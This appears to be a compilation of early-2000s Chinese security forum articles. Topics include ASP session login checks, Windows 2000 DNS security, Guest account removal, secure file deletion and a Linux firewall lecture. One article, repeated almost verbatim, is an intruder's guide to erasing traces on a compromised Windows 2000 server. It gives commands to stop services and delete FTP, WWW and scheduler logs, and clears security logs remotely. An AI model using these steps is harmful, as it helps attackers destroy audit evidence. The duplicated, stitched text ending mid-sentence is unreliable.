设计要求注册成功后系统启动hrmis.asp?page=1页面。假设，不采用Session对象进行注册验证，则用户在浏览器中敲入“URL/hrmis.asp?page=1”即可绕过注册界面，直接进入系统。
在此，利用Session对象进行注册验证：
<%
’读取使用者所输入的账号和密码
UserID = Request(“UserID”)
Password = Request(“Password”)
’检查UserID 及Password 是否正确
If UserID <>“hrmis” Or Password <>“password” Then
Response.Write “账号错误！”
Response.End
End If
’将Session 对象设置为通过验证状态
Session(“Passed”) = True
%>
进入应用程序后，首先进行验证：
<%
’如果未通过验证，返回Login状态
If Not Session(“Passed”) Then
Response.Redirect “Login.asp”
End If
%>
通过对IIS+ASP+Access网上应用系统安全性的研究，我们对现有系统进行了改造，收到了较好的效果。


在Windows2000下实现动态DNS的安全考虑

作者：宁愿冷酷到底 发表时间：2002/09/06 08:22pm

Windows2000 域名解析是基于动态DNS，[M$]动态DNS的实现是基于RFC 2136基础上的。这与BIND v8和v 9相关连，在O'Reilly出版社出版的第四版《DNS and BIND》中有关于BIND v9的阐述，此书由Paul Albitz 和 Cricket Liu 撰写。
在Windows 2000下，动态DNS是与DHCP、WINS及活动目录（AD）集成在一起的。在Windows 2000的域下有三种实现DNS的方法：与活动目录集成、与活动目录集成的主DNS及不与活动目录集成的辅助DNS、不与活动目录集成的主DNS及不与活动目录集成的辅助DNS。当DNS完成集成到活动目录中后，我们可以利用Windows2000网络中的三个重要安全特性：安全动态更新、安全区域传输、对区域和资源记录的访问控制列表。
1.0 安全动态更新
在动态DNS（DDNS）中一个最重要的安全特性就是安全更新。在实现安全更新时一个主要的考虑是DNS项组成的记录的所有权。所有权是由DHCP的配置及对客户端的支持来决定的。
与客户端相关的有两种DNS记录：A记录和PTR记录，A记录解析名字到地址，而PTR记录解析地址到名字。地址是指一个客户端的IP地址，名字是指一个客户的完全合格域名，应该是计算机名加上网络的域名。
在Windows 2000环境中，当客户端通过DHCP请求一个IP时，客户端DNS记录就被注册。根据设置，客户端、DHCP服务器或者两者都可以更新客户的A记录和PTR记录，谁注册了这个记录，谁就对记录拥有所有权。
下面是在Windows2000网络中定义客户的A记录和PTR记录所有权的可选项。
1.1 Windows2000本机模式
在Windows2000环境下，DHCP服务器和DHCP客户端都可以通过DNS注册记录。当网络仅由Windows2000的服务器和客户端组成时，这种Windows2000环境被定义为"本机模式"。
当客户端是一个Windows2000客户时，默认配置是当客户在网络上注册时动态更新它自己的A记录，与此同时，DHCP服务器更新客户的PTR记录。因此，A记录的所有权属于客户端，PTR记录的所有权属于DHCP服务器。
第二种可能的配置是DHCP服务器更新正向和反向查找，在这种情况下，DHCP服务器同时拥有A记录和PTR记录的所有。
第三种可能的配置是DHCP服务器被配置为不执行动态更新，在这种情况下，客户端将更新A记录和PTR记录，同时也就拥有记录的所有权。
1.2 Windows2000混杂模式
在一个混杂模式的环境下，DHCP客户端不能在DNS下注册。所谓混杂模式即网络除Windows2000服务器、客户端外同时存在有WindowsNT4.0或Windows98客户。
先前的客户端，如WindowsNT4.0和Windows9x不能直接通过DNS注册。因为只有DHCP服务器可以通过DNS注册记录，在混杂环境中唯一的选择是让DHCP服务器注册A记录和PTR记录，在这种情况下，服务器拥有正向和反向查找记录的所有权。
1.3 安全动态更新
在Windows2000网络中，只有当活动目录与DNS区域集成时，安全动态更新才可用。安全动态更新意味着什么呢？在Windows2000中，它意味着用活动目录的ACL制定用户和组的权限来修改DNS区域和/或它的资源记录。为允许更新DNS区域和/或它的资源记录，除ACL外，动态更新也使用安全通道和认证。
[M$]Windows2000支持使用IETF草拟的"GSS Algorithm for TSIG "（GSS-TSIG）算法进行安全动态更新。这个算法使用 Kerberos v5 作为优先的认证协议，GSS-API在RFC2078中有定义。
2.0 区域
2.1 区域的类型
Windows 2000 可以配置 DNS 区域为主要区域、辅助区域或活动目录集成。
主要和辅助区域的功能与在Unix和NT4.0环境下一样。另外，DNS数据库与其它数据库如WINS和DHCP保持独立，复制是从其它复制服务中独立设置。如果网络中有服务器运行低于8.1.2的BIND版本，则必须使用主要/辅助区域，因为在早先的版本中不支持动态更新。
如果安装了活动目录，DNS区域可以成为活动目录集成区域。这意味着DNS区域数据库成为活动目录数据库的一部分，每条记录都是活动目录的对象，每个活动目录对象拥有它自己的ACL（访问控制列表）。
2.2 区域传输或复制的类型
Windows 2000下的DNS可以支持 AXFR 或 IXFR。AXFR或所有的区域传输，是整个区域数据库文件的复制。IXFR或增量区域传输，仅仅复制区域数据库的变化。如果区域类型设置为主要/辅助区域，那么可以应用这些区域复制方法。IXFR支持在BIND 8.2.1及以上版本。
当 DNS与活动目录集成时，所有的区域和资源记录将成为活动目录数据库中的对象。活动目录的复制是基于多主机模型。
多主机模型的好处之一是没有单点失败的问题。这是可能的，因为DNS是活动目录数据库的一部分，而活动目录数据库被复制到所有的域控制器。
多主机模型的第二个好处是仅需要设置一个复制拓扑。DNS区域数据库变成活动目录数据的一部分，因此DNS区域传输作为活动目录复制的一部分完成。
2.3 区域传输的安全
如果Windows 2000的DNS配置为主要/辅助区域，是不能使用加密和压缩的。为了与BIND兼容，Windows 2000支持AXFR，每个消息发送/接受一个或多个资源记录。在BIND4.9.4以前的版本不支持多条资源记录由一个消息传输。为与BIND8.2.1版本兼容Windows2000支持IXFR，为与BIND8.1.2版本兼容Windows 2000 支持DNS通告。
当Windows 2000的DNS配置为与活动目录集成时，复制进程成为活动目录复制的一部分，因此它自动使用加密和压缩。
在Windows 2000下使用Kerberos v5进行加密。控制器之间的通信通道自动加密，不需要管理员配置。
当活动目录更新在"桥头"服务器间传输时，自动进行压缩。桥头服务器是在本地局域网服务器自动选择产生的，当活动目录使用广域网链路进行更新时，每个局域网的桥头服务器会与其它桥头服务器通信，这将大大减少通过 WAN 链路的流量。在这种情况下，为了节省带宽会自动压缩。
3. 活动目录集成DNS 区域
在 Windows 2000下活动目录与DDNS集成，因此实现活动目录安全第一步是实现 DDNS的安全。
3.1 文件系统
使用NTFS。Windows 2000 的版本是 NTFS v5，此版本允许设置文件和文件夹的安全、加密文件系统和审核。NTFS v5 不与先前的NTFS兼容。在安装了Service Pack 4 或更高版本的NT4.0上只能读取NTFS v5。
NTFS通过设置文件夹和文件级别访问权限来限制网络或本地对文件的访问。
NTFS和共享权限可以被用来非常精确的控制权限和继承关系。
3.2 注册表
使用注册表编辑器编辑DACL关系到每一个注册表的配置单元。细节问题可以参考SANS出版的"Windows NT Security, Step-by-Step"。
3.3 Enterprise管理员和Schema管理员组
在Windows2000网络建立之后，限制访问这两个管理员组。这些组出现在根域下并且有最高的权限。根据域的结构，管理可以被委派到域结构，因此管理可以被限制到单个域。
3.4 加密文件系统
Windows2000的NTFS提供了使用加密文件系统的选择。EFS使用基于公共密钥的技术来进一步限制文件的未授权访问。
3.5 活动目录中的DNS
DNS的安装将扩展活动目录的架构，包含了DNSUpdateProxy组。这是一个非常强大的组，它允许创建对象，这是不安全的，当这种情况发生时，任何授权用户可以获得这些对象的所有权。
DNS中客户端的A记录和PTR记录会在DHCP处理进程中进行更新，这在上面有详细地叙述。当客户和服务器都是Windows2000时，安全动态更新可以通过默认安装来完成，当有其它的用户需要支持时，安全动态更新不能完成，除非DHCP服务器被加入到了DNSUpdateProxy组，加入DNSUpdateProxy组后，允许DHCP服务器为早期的客户端执行动态更新。
如果DHCP服务运行在一个域控制器时，需要特别考虑的是，添加DHCP服务器到DNSUpdateProxy组，将允许所有用户或计算机完全控制相应域控制器的DNS记录。
3.6 资源记录的所有权
DHCP服务器不能在早期的客户端上执行安全动态更新，这在Windows2000网络中是非常重要的。如果这种情况发生，会出现不能完全更新活动记录的情况。例如，一个NT4.0的客户端通过DHCP服务器在DNS中注册了一个名字，当这台机器被升级到Windows2000时，这个名字保持不变。DHCP服务器因其最先注册了这个名字而拥有这个名字的资源记录所有权，所以Windows 2000客户不能更新它自己的名字。
3.7 WINS查找
作为Windows2000最终的告诫，我将翻译说明为什么WINS将是Windows 2000网络中最可能需要的部分。为什么呢？对所有非Windows2000客户，NetBios解析仍是必需的。同样，所有需要NetBios的程序也将需要WINS来做名字解析。WINS通过两个特定的资源记录直接集成到了DNS中：WINS和WINS-R。这分别为WINS做正向和反向记录查找。
4.0 结论
总之，理解Windows2000使用DNS的过程是非常重要的。在文章的1.0部分"安全动态更新"和2.0部分"区域"中有了一个简述。理解Windows2000的"gotcha's"和"caveats"也是非常重要的。3.0部分活动目录集成DNS区域列举了相关的项目。


清除windows日志

作者：RDD 发表时间：2002/09/05 03:26pm

总是想自己总结点东西，太忙了，不好意思，还是“拿来主义“吧，需要表示歉意的是我忘记了出处和作者，这里表示歉意
Windows2000的日志文件详述及删除方法
Windows2000的日志文件通常有应用程序日志，安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等等，可能会根据服务器所开启的服务不同。当我们用流光探测时，比如说IPC探测，就会在安全日志里迅速地记下流光探测时所用的用户名、时间等等，用FTP探测后，也会立刻在FTP日志中记下IP、时间、探测所用的用户名和密码等等。甚至连流影启动时需要msvcp60.dll这个动库链接库，如果服务器没有这个文件都会在日志里记录下来，这就是为什么不要拿国内主机探测的原因了，他们记下你的IP后会很容易地找到你，只要他想找你！！还有Scheduler日志这也是个重要的LOG，你应该知道经常使用的srv.exe就是通过这个服务来启动的，其记录着所有由Scheduler服务启动的所有行为，如服务的启动和停止。
日志文件默认位置： 应用程序日志、安全日志、系统日志、DNS日志默认位置：%sys temroot%\sys tem32\config，默认文件大小512KB，管理员都会改变这个默认大小。安全日志文件：%sys temroot%\sys tem32\config\SecEvent.EVT 系统日志文件：%sys temroot%\sys tem32\config\SysEvent.EVT 应用程序日志文件：%sys temroot%\sys tem32\config\AppEvent.EVT Internet信息服务FTP日志默认位置：%sys temroot%\sys tem32\logfiles\msftpsvc1\，默认每天一个日志Internet信息服务WWW日志默认位置：%sys temroot%\sys tem32\logfiles\w3svc1\，默认每天一个日志Scheduler服务日志默认位置：%sys temroot%\schedlgu.txt
以上日志在注册表里的键： 应用程序日志，安全日志，系统日志，DNS服务器日志，它们这些LOG文件在注册表中的： HKEY_LOCAL_MACHINE\sys tem\CurrentControlSet\Services\Eventlog 有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表，里面可查到以上日志的定位目录。Schedluler服务日志在注册表中HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
FTP和WWW日志详解： FTP日志和WWW日志默认情况，每天生成一个日志文件，包含了该日的一切记录，文件名通常为ex（年份）（月份）（日期），例如ex001023，就是2000年10月23日产生的日志，用记事本就可直接打开，如下例： #Software: Microsoft Internet Information Services 5.0 （微软IIS5.0） #Version: 1.0 （版本1.0） #Date: 20001023 0315 （服务启动时间日期） #Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331 （IP地址为127.0.0.1用户名为administator试图登录） 0318 127.0.0.1 [1]PASS – 530 （登录失败） 032:04 127.0.0.1 [1]USER nt 331 （IP地址为127.0.0.1用户名为nt的用户试图登录） 032:06 127.0.0.1 [1]PASS – 530 （登录失败） 032:09 127.0.0.1 [1]USER cyz 331 （IP地址为127.0.0.1用户名为cyz的用户试图登录） 0322 127.0.0.1 [1]PASS – 530 （登录失败） 0322 127.0.0.1 [1]USER administrator 331 （IP地址为127.0.0.1用户名为administrator试图登录） 0324 127.0.0.1 [1]PASS – 230 （登录成功） 0321 127.0.0.1 [1]MKD nt 550 （新建目录失败） 0325 127.0.0.1 [1]QUIT – 550 （退出FTP程序）
从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统，换了四次用户名和密码才成功，管理员立即就可以得知管理员的入侵时间、IP地址以及探测的用户名，如上例入侵者最终是用administrator用户名进入的，那么就要考虑更换此用户名的密码，或者重命名administrator用户。
WWW日志WWW服务同FTP服务一样，产生的日志也是在%sys temroot%\sys tem32\LogFiles\W3SVC1目录下，默认是每天一个日志文件，下面是一个典型的WWW日志文件#Software: Microsoft Internet Information Services 5.0 #Version: 1.0 #Date: 20001023 03:091 #Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent) 20001023 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt) 20001023 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
通过分析第六行，可以看出2000年10月23日，IP地址为192.168.1.26的用户通过访问IP地址为192.168.1.37机器的80端口，查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt，有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。既使你删掉FTP和WWW日志，但是还是会在系统日志和安全日志里记录下来，但是较好的是只显示了你的机器名，并没有你的IP，例如上面几个探测之后，系统日志将会产生下面的记录：
一眼就能看出2000年10月23日，16点17分，系统因为某些事件出现警告，双击头一个，打开它的属性：
属性里记录了出现警告的原因，是因为有人试图用administator用户名登录，出现一个错误，来源是FTP服务。同时安全记录里写将同时记下：（Ekin:此图不是此次示例的安全日志）
在上图中可以看到两种图标：钥匙（表示成功）和锁（表示当用户在做什么时被系统停止）。接连四个锁图标，表示四次失败审核，事件类型是帐户登录和登录、注销失败，日期为2000年10月18日，时间为1002，这就需要重点观察。双点第一个失败审核事件的，即得到此事件的详细描述，如下图12所示：
分析上图，我们可以得知有个CYZ的工作站，用administator用户名登录本机，但是因为用户名未知或密码错误（实际为密码错误）未能成功。另外还有DNS服务器日志，不太重要，就此略过（其实是我没有看过它）
知道了Windows2000日志的详细情况，下面就要学会怎样删除这些日志： 通过上面，得知日志文件通常有某项服务在后台保护，除了系统日志、安全日志、应用程序日志等等，它们的服务是Windos2000的关键进程，而且与注册表文件在一块，当Windows2000启动后，启动服务来保护这些文件，所以很难删除，而FTP日志和WWW日志以及Scedlgu日志都是可以轻易地删除的。首先要取得Admnistrator密码或Administrators组成员之一，然后Telnet到远程主机，先来试着删除FTP日志： D:\SERVER>del schedlgu.txt D:\SERVER\SchedLgU.Txt 进程无法访问文件，因为另一个程序正在使用此文件。说过了，后台有服务保护，先把服务停掉！ D:\SERVER>net stop "task scheduler" 下面的服务依赖于Task Scheduler 服务。停止Task Scheduler 服务也会停止这些服务。
Remote Storage Engine
是否继续此操作? (Y/N) [N]: y Remote Storage Engine 服务正在停止.... Remote Storage Engine 服务已成功停止。
Task Scheduler 服务正在停止. Task Scheduler 服务已成功停止。OK，它的服务停掉了，同时也停掉了与它有依赖关系的服务。再来试着删一下！ D:\SERVER>del schedlgu.txt
D:\SERVER> 没有反应？成功了！下一个是FTP日志和WWW日志，原理都是一样，先停掉相关服务，然后再删日志！ D:\SERVER\sys tem32\LogFiles\MSFTPSVC1>del ex*.log
D:\SERVER\sys tem32\LogFiles\MSFTPSVC1> 以上操作成功删除FTP日志！再来WWW日志！ D:\SERVER\sys tem32\LogFiles\W3SVC1>del ex*.log
D:\SERVER\sys tem32\LogFiles\W3SVC1> OK！恭喜，现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了，守护这些日志的服务是Event Log，试着停掉它！ D:\SERVER\sys tem32\LogFiles\W3SVC1>net stop eventlog 这项服务无法接受请求的"暂停" 或"停止" 操作。KAO，I 服了U，没办法，它是关键服务。如果不用第三方工具，在命令行上根本没有删除安全日志和系统日志的可能！所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具”中的“事件查看器”（98没有，知道用Win2k的好处了吧），在菜单的“操作”项有一个名为“连接到另一台计算机”的菜单，点击它如下图所示：
输入远程计算机的IP，然后点支烟，等上数十分钟，忍受象死机的折磨，然后打开下图：
选择远程计算机的安全性日志，右键选择它的属性：
点击属性里的“清除日志”按钮，OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！ 目前在不借助第三工具的情况下，能很快，很顺利地清除FTP、WWW还有Schedlgu日志，就是系统日志和安全日志属于Windows2000的严密守护，只能用本地的事件查看器来打开它，因为在图形界面下，加之网速又慢，如果你银子多，时间闲，还是可以清除它的。综上所述，介绍了Windows2000的日志文件以及删除方法，但是你必须是Administrator，注意必须作为管理员或管理组的成员登录才能打开安全日志记录。该过程适用于Windows 2000 Professional 计算机，也适用于作为独立服务器或成员服务器运行的Windows 2000 Server 计算机。
至此，Windows2000安全知识基础讲座完毕，还有几句话要讲，大家也看出来了，虽然FTP等等日志可以很快清除，但是系统日志和安全日志却不是那么快、那么顺利地能删除，如果遇到聪明的管理员，将日志文件转移到另一个地方，那更是难上加难，所以奉劝大家，千万不要拿国内的主机做试验，国内的法律很严呀！今天吃饭时，听说有两个人开玩笑，一个人把另外一个人的东西藏起来了，结果那个人一急，报案了，于是藏东西那个人被判四年刑！！法官说法律是不开玩笑的！！！所
以大家一定要牢记这点！(不要说我老生常谈) 如果大家有什么不明白地方，请在光和影子论坛提问！谢谢！
在上图中可以看到两种图标：钥匙（表示成功）和锁（表示当用户在做什么时被系统停止）。接连四个锁图标，表示四次失败审核，事件类型是帐户登录和登录、注销失败，日期为2000年10月18日，时间为1002，这就需要重点观察。双点第一个失败审核事件的，即得到此事件的详细描述，如下图12所示： 分析上图，我们可以得知有个CYZ的工作站，用administator用户名登录本机，但是因为用户名未知或密码错误（实际为密码错误）未能成功。另外还有DNS服务器日志，不太重要，就此略过（其实是我没有看过它）
知道了Windows2000日志的详细情况，下面就要学会怎样删除这些日志： 通过上面，得知日志文件通常有某项服务在后台保护，除了系统日志、安全日志、应用程序日志等等，它们的服务是Windos2000的关键进程，而且与注册表文件在一块，当Windows2000启动后，启动服务来保护这些文件，所以很难删除，而FTP日志和WWW日志以及Scedlgu日志都是可以轻易地删除的。首先要取得Admnistrator密码或Administrators组成员之一，然后Telnet到远程主机，先来试着删除FTP日志： D:\SERVER>del schedlgu.txt D:\SERVER\SchedLgU.Txt 进程无法访问文件，因为另一个程序正在使用此文件。说过了，后台有服务保护，先把服务停掉！ D:\SERVER>net stop "task scheduler" 下面的服务依赖于Task Scheduler 服务。停止Task Scheduler 服务也会停止这些服务。
Remote Storage Engine
是否继续此操作? (Y/N) [N]: y Remote Storage Engine 服务正在停止.... Remote Storage Engine 服务已成功停止。
Task Scheduler 服务正在停止. Task Scheduler 服务已成功停止。OK，它的服务停掉了，同时也停掉了与它有依赖关系的服务。再来试着删一下！ D:\SERVER>del schedlgu.txt D:\SERVER> 没有反应？成功了！下一个是FTP日志和WWW日志，原理都是一样，先停掉相关服务，然后再删日志！ D:\SERVER\sys tem32\LogFiles\MSFTPSVC1>del ex*.log
D:\SERVER\sys tem32\LogFiles\MSFTPSVC1> 以上操作成功删除FTP日志！再来WWW日志！ D:\SERVER\sys tem32\LogFiles\W3SVC1>del ex*.log
D:\SERVER\sys tem32\LogFiles\W3SVC1> OK！恭喜，现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了，守护这些日志的服务是Event Log，试着停掉它！ D:\SERVER\sys tem32\LogFiles\W3SVC1>net stop eventlog 这项服务无法接受请求的"暂停" 或"停止" 操作。KAO，I 服了U，没办法，它是关键服务。如果不用第三方工具，在命令行上根本没有删除安全日志和系统日志的可能！所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具”中的“事件查看器”（98没有，知道用Win2k的好处了吧），在菜单的“操作”项有一个名为“连接到另一台计算机”的菜单，点击它如下图所示：
输入远程计算机的IP，然后点支烟，等上数十分钟，忍受象死机的折磨，然后打开下图：
选择远程计算机的安全性日志，右键选择它的属性：
点击属性里的“清除日志”按钮，OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！ 目前在不借助第三工具的情况下，能很快，很顺利地清除FTP、WWW还有Schedlgu日志，就是系统日志和安全日志属于Windows2000的严密守护，只能用本地的事件查看器来打开它，因为在图形界面下，加之网速又慢，如果你银子多，时间闲，还是可以清除它的。综上所述，介绍了Windows2000的日志文件以及删除方法，但是你必须是Administrator，注意必须作为管理员或管理组的成员登录才能打开安全日志记录。该过程适用于Windows 2000 Professional 计算机，也适用于作为独立服务器或成员服务器运行的Windows 2000 Server 计算机


安全删除Guest账号

服务器被入侵，很多时候我们无法预测会出现何种漏洞，但很多hacker都习惯性的通过提升Guest账号的权限

再通过这个没有密码的Guest账号来访问你的机器。要是能删掉Guest就好了。

说起来好像很容易，但其实你打算删的时候就会发现，Guest账号同Administrator账号一样，没办法删掉。

当然，这并非不可能，下面就是方法：

一、在NT4.0环境里删掉Guest账号

很容易了，因为已经有现成的工具被人写出来了。

DelGuest下载，官方网站 http://www.ntsecurity.nu/toolbox/delguest/

很久以前 NT4.0的时候，我就用过这个工具了，虽说微软并不赞同这个做法，呵呵

但，从我了解的资料看，的确并没有影响到系统原本的正常运行。

二、在Windows2K环境里删掉Guest账号

没有现成的工具，也可能是我还没找到吧。呵呵

一些线索：Windows系统的账号信息，是存放在HKEY_LOCAL_MACHINE\\SAM里的，但是

直接打开注册表想去修改却并不能打开它，哪怕你是管理员权限都不行。

因为为了安全性考虑，必须由“SYSTEM”权限才能访问。

所以整理一下，大致思路是这样的：

以“SYSTEM”权限启动注册表，然后检查注册表项，把账号Guest删掉。

首先，我们以AT来添加一个计划任务，看了一下时间 13:51，OK，设定一分钟后运行。

使用AT，目的是以“SYSTEM”权限运行。

/interactive，目的是让运行的程序以交互式界面的方式运行。

趁程序还在等待调度，我们先看看Guest账号的资料

呵呵，想想待会它就没了，还是很爽的

ok，13:52了，regedt32程序运行了

打开注册表程序

把 HKEY_LOCAL_MACHINE\\SAM\\Domains\\Account\\Users下的两个相关键删掉。

一个是000001F5，一个是Names下的Guest

呵呵，怎么删不用我讲了吧

然后呢，我们再检查一下，账号

net user guest

不见了吧

好的，就到这里。


彻底删除文件四法

    删除文件是电脑应用中最常使用到的操作之一了，一般说来，我们删除文件的目的就是把文件弃之不要或为了腾出更多的磁盘空间，但是系统为了防止我们删除后又后悔，设计可谓用心良苦，这一点最充分体现在回收站的出现。

当我们将文件删除后，文件其实只是被转移到了磁盘中一个叫“Recycled”的文件夹中，以防备万一你需要“回收”。这种设计的好处是不言而喻的，但也有一些问题，如果你删除的文件内容含有重大的商业秘密或个人隐私，而你又没有及时清空回收站的话，别人很容易从你的回收站中“捡”出这些有价值的文件；另一方面，这种删除方法其实并没有给你的磁盘腾出空间，改变了我们删除文件的初衷。那么要如何才能真正地删除文件呢？

DOS命令删除法
由于Windows的回收站只记录了Windows下删除文件的内容，所以如果你在纯DOS状态或Windows的MS-DOS模式下删除的文件，回收站是不会接受的。那么你可以进入MS-DOS模式，用Del或Deltree命令删除文件。

回收站属性设置法
清空回收站可以将放在回收站中的被删除文件清除，方法是用鼠标右键点击回收站图标，在右键菜单中选择“清空回收站”即可。这是一般操作者最常使用的，但一个删除操作要分两个步骤才能完成，让人感觉的确“有点烦”。有更方便的办法吗？

设置回收站的空间为“0”

用鼠标右键点击回收站图标，在右键菜单中选择“属性”，在对话框中选中“删除时不将文件移入回收站，而是彻底删除”，确认退出即可；另一种设置方法是在属性对话框中选择“全局”标签，将回收站最大空间百分比的滑杆拖到0%的位置，因为Windows默认回收站最大的空间为磁盘空间的10%，设置成0%以后，无论你删除多大的文件都不会移动到回收站中。当然如果你的磁盘上有多个分区，可以考虑选中“所有驱动器均使用同一设置”。

功能键辅助法
在实际操作中，我们可能只是有时希望删除文件不放入回收站，而绝大多数情况还是要保持回收站功能，这时你可以不对回收站属性进行设置，而采用功能键删除。方法为：当你要彻底删除某一文件时，可选中该文件，按住Shift键同时按下Del键，这样删除的文件将不会移动到回收站。

软件彻底“粉碎”法
事实上，上面几种方法都不能称为彻底删除，因为无论你采用了以上任何一种方法删除的文件都没有被真正意义上的“删除”，即使你清空了回收站或在DOS下删除文件，系统都只是在磁盘上该文件对应的区块上作了一个标记而已，文件内容并没有被清除。设想一下，如果要完全清除文件的内容，即把对应的磁盘上的区块全部改写为“0”，那么删除一个几百MB的大文件要花上多少时间，操作系统的工作效率将会多么的低。

所以，只要存放原文件内容的区块没有被其他新内容覆盖的话，被删除的文件还是可以恢复的，如DOS下大名鼎鼎的UnDelete命令、Windows下的Revial、RecoverNT、Recover 98、EasyRecovery、FinalData等软件都具有这方面的功能，它们给我们提供了一份后悔药，但同时也让我们对删除文件的保密性能更加不放心，所以现在有不少可以彻底删除文件的软件出现，如Eraser、Clean Disk Security等，但它们大都是共享软件，未注册时会有时间或功能限制。而笔者在这里向你推荐一款国产的免费工具--祥云文件粉碎机。

和其他同类软件一样，祥云文件粉碎机的工作原理也是在删除文件的同时，用别的数据一次甚至几十次地覆盖了该文件原来的保存位置，从而达到彻底销毁原文件的目的。它是一个彻底从硬盘删除文件的计算机工具。主要用于在某些特殊场合，彻底清除需要保密性高的文件，以避免资料的外泄，使用它删除文件将大大减少被恢复的可能性。即便可以恢复，所有删除的文件也将会“面目全非”，从而起到保密的功效。

它的操作十分简单，只要把要彻底删除的文件拖到它的操作框中，点击“开始粉碎”就可以了

粉碎文件的操作十分简单

该软件最新版本V1.0版，下载地址：http:/www.ccidnet.com/soft/cce/2002年第4期。软件大小108KB，绿色软件，即解即用。


防火墙技术分析讲义

文章作者：西安交大 王灏
一 基本概念
1.1 防火墙分类：
包过滤
代理（应用层网关）
1.2 代理:
两个连接（browser与proxy之间,proxy与web server之间）。
工作在应用层。
直接发往服务器的包：
GET / HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: www.lisoleg.net
Connection: Keep-Alive
往代理发出的包：
GET http://www.lisoleg.net/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
If-Modified-Since: Thu, 14 Dec 2000 07:24:52 GMT
If-None-Match: "8026-185-3a3875c4"
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: www.lisoleg.net
Proxy-Connection: Keep-Alive
增强：
cache
1.3 包过滤
单IP包检测
缺陷：无状态
1.4 增强1－状态检测（Stateful Inspection），又称动态包过滤(dynamic packet filtering)
1.4.1 规则表和动态状态表
1.4.2 ftp的例子：
A 4847->B 21 PORT 192,168,7,60,18,241
B 21->A 4847 PORT command successful.
B 20->A 4849 syn
> A classic example is transferring files using FTP. The firewall remembers the details of the
> incoming request to get a file from an FTP server. The firewall then tracks the back-channel
> request (the FTP Port command) by the server for transferring information back to the client.
> As long as the information agrees (same IP addresses, no changes in port numbers, and no
> non-FTP requests), the firewall allows the traffic. After the transfer is complete, the
> firewall closes the ports involved.
1.4.3 两种实现方法：
1.4.3.1 checkpoint FW1，netfilter
1.4.3.2 动态添加规则（ipchains patch）
> I believe it does exactly what I want: Installing a temporary
> "backward"-rule to let packets in as a response to an
> outgoing request.

1.5 增强2－地址转换:
1.5.1 静态NAT
1.5.2 动态NAT
1.5.3 地址伪装

1.6 增强3-VPN:
位置的优越性
二 Linux下防火墙的实现之一（2.2内核）：
2.1 截获位置：
网络层
----------------------------------------------------------------
| ACCEPT/ lo interface |
v REDIRECT _______ |
--> C --> S --> ______ --> D --> ~~~~~~~~ -->|forward|----> _______ -->
h a |input | e {Routing } |Chain | |output |ACCEPT
e n |Chain | m {Decision} |_______| --->|Chain |
c i |______| a ~~~~~~~~ | | ->|_______|
k t | s | | | | |
s y | q | v | | |
u | v e v DENY/ | | v
m | DENY/ r Local Process REJECT | | DENY/
| v REJECT a | | | REJECT
| DENY d --------------------- |
v e -----------------------------
DENY

2.2 提炼出的代码：
输入检测：
/*
* Main IP Receive routine.
*/
int ip_rcv(struct sk_buff *skb, struct device *dev, struct packet_type *pt)
{
#ifdef CONFIG_FIREWALL
int fwres;
u16 rport;
#endif /* CONFIG_FIREWALL */
......
#ifdef CONFIG_FIREWALL
/*
* See if the firewall wants to dispose of the packet.
*
* We can't do ICMP reply or local delivery before routing,
* so we delay those decisions until after route. --RR
*/
fwres = call_in_firewall(PF_INET, dev, iph, &rport, &skb);
if (fwres < FW_ACCEPT && fwres != FW_REJECT)
goto drop;
iph = skb->nh.iph;
#endif /* CONFIG_FIREWALL */
......
#ifdef CONFIG_FIREWALL
if (fwres ==
        FW_REJECT) {
icmp_send(skb, ICMP_DEST_UNREACH, ICMP_PORT_UNREACH,
        0);
goto drop;
}
#endif /* CONFIG_FIREWALL */
return skb->dst->input(skb);
        //根据路由查找的结果决定是转发(ip_forward)还是发往上层(ip_local_deliver)
drop:
kfree_skb(skb);
        //如果规则匹配的结果是FW_REJECT，FW_BLOCK，丢弃此包
return(0);
}
转发检测：
int ip_forward(struct sk_buff *skb)
{
...
#ifdef CONFIG_FIREWALL
fw_res=call_fw_firewall(PF_INET, dev2, iph, NULL, &skb);
switch (fw_res) {
case FW_ACCEPT:
case FW_MASQUERADE:
break;
case FW_REJECT:
icmp_send(skb, ICMP_DEST_UNREACH, ICMP_HOST_UNREACH, 0);
/* fall thru */
default:
kfree_skb(skb);
return -1;
}
#endif
...
}
输出检测：（不同的上层协议走不同的流程，因此检测点较多）
UDP/RAW/ICMP报文:ip_build_xmit
TCP报文:ip_queue_xmit
转发的包：ip_forward
其他：ip_build_and_send_pkt

实际的匹配：
/*
* Returns one of the generic firewall policies, like FW_ACCEPT.
*
* The testing is either false for normal firewall mode or true for
* user checking mode (counters are not updated, TOS & mark not done).
*/
static int
ip_fw_check(struct iphdr *ip, //IP头位置
const char *rif, //出口网卡的名字
__u16 *redirport, //端口转发时用到
struct ip_chain *chain, //规则链的名字
struct sk_buff *skb, //要检测的数据包
unsigned int slot,
int testing) //见函数本身的注释
调用举例：
call_in_firewall实际调用ipfw_input_check，而ipfw_input_check中有：
